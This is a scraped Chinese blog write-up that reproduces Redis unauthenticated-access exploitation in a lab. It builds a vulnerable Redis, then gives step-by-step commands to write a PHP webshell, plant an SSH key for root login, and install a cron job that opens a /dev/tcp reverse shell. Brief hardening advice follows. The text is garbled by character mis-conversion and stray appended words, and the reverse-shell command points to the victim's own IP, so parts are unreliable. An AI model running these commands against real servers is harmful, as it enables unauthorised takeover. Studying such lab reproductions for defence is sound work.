Redis未受權訪問漏洞復現學習

0x00 前言

前段時間看到想復現學習一下,而後就忘了 越臨近考試越不想複習 在這裏插入圖片描述php

常見的未受權訪問漏洞

Redis 未受權訪問漏洞 MongoDB 未受權訪問漏洞 Jenkins 未受權訪問漏洞 Memcached 未受權訪問漏洞 JBOSS未受權訪問漏洞 VNC 未受權訪問漏洞 Docker 未受權訪問漏洞 ZooKeeper 未受權訪問漏洞 Rsync 未受權訪問漏洞 Atlassian Crowd 未受權訪問漏洞 CouchDB 未受權訪問漏洞 Elasticsearch 未受權訪問漏洞 Hadoop未受權訪問漏洞 Jupyter Notebook 未受權訪問漏洞html

今天先學下redis未受權訪問web

0x01 redis未受權訪問漏洞簡介

Redis 默認狀況下,會綁定在 0.0.0.0:6379,若是沒有進行採用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,若是在沒有設置密碼認證(通常爲空)的狀況下,會致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問 Redis 以及讀取 Redis 的數據。redis

攻擊者在未受權訪問 Redis 的狀況下,利用 Redis 自身的提供的config 命令,能夠進行寫文件操做,攻擊者能夠成功將本身的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而能夠使用對應私鑰直接使用ssh服務登陸目標服務器、添加計劃任務、寫入Webshell等操做。shell

0x02 環境搭建

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

在這裏插入圖片描述

tar xzvf redis-2.8.17.tar.gz  #解壓安裝包
cd redis-2.8.17  # 進入redis目錄
make #編譯

在這裏插入圖片描述

 
 

cd src/ #進入src目錄 cp redis-server /usr/bin/ cp redis-cli /usr/bin/ #將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啓動redis-server和redis-cli就不用每次都進入安裝目錄了) cd .. # 返回上一級目錄 cp redis.conf /etc/ #將redis.conf拷貝到/etc/目錄下 redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務瀏覽器

 
 

在這裏插入圖片描述 服務啓動成功!安全

0x03 漏洞證實

redis-cli -h 靶機IP

在這裏插入圖片描述 說明沒有設置密碼認證,存在Redis未受權漏洞bash

0x04 漏洞利用

Ubuntu:受害主機 192.168.246.130,A Ubuntu2:攻擊主機 192.168.246.131,B 都開啓redist服務服務器

redis-server /etc/redis.conf

在這裏插入圖片描述

1、利用方法一 ——往web物理路徑寫webshell

一、利用條件 (1)靶機redis未受權,未登陸驗證 (2)靶機開啓web服務,而且知道網站路徑,還須要具備文件讀寫增刪改查權限 2.利用過程ssh

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

在這裏插入圖片描述 瀏覽器查看web頁面 在這裏插入圖片描述

利用方法二 ——導入SSH公鑰(用私鑰登陸)

一、在受害者主機A建立目錄

mkdir /root/.ssh/ #建立ssh公鑰存放目錄(靶機是做爲ssh服務器使用的)

二、在攻擊機B中生成ssh公鑰和私鑰,密碼設置爲空(回車兩次)

Ubuntu2:ssh-keygen -t rsa

在這裏插入圖片描述 三、在B中 將生成的公鑰保存到hhh.txt 再將hhh.txt寫入redis

cd .ssh/ 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #將生成的公鑰保存到redistest.txt
cat redistest.txt | redis-cli -h 192.168.246.130 -x set redistest #將保存ssh的公鑰redistext.txt寫入redis

在這裏插入圖片描述 四、而後登陸服務器查看 redis-cli -h 192.168.246.130

config get dir #獲得redis備份路徑
config set dir /root/.ssh #redis備份路徑爲ssh公鑰存放目錄
config set dbfilename authorized_keys #設置上傳公鑰的備份文件名字爲authorized_keys
save

在這裏插入圖片描述 五、在主機B使用root身份進行ssh免密登陸主機A

ssh -i id_rsa root@192.168.246.130

注意必定要root身份,否則就gg了 在這裏插入圖片描述 在這裏插入圖片描述 耶✌~~登錄成功

利用方法三 ——利用計劃任務執行命令反彈shell

一、利用條件 在redis以root權限運行時能夠寫crontab來執行命令反彈shell 二、利用過程 先在本身的服務器上監聽一個端口

nc -lvnp 7999

再鏈接redis,寫入反彈shell

redis-cli -h 192.168.246.130
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.246.130/7999 0>&1\n"
config set dbfilename root
save

0x05 防範方法

一、禁止遠程使用一些高危命令 二、爲Redis添加密碼驗證 咱們能夠經過修改redis.conf文件來爲Redis添加密碼驗證

requirepass mypassword

三、禁止外網訪問 Redis 咱們能夠經過修改redis.conf文件來使得Redis服務只在當前主機可用

bind 127.0.0.1

四、修改默認端口 五、保證authorized_keys文件的安全

0x06 參考

http://www.javashuo.com/article/p-tnvuyoav-dx.html https://xz.aliyun.com/t/6103#toc-6

相關文章
相關標籤/搜索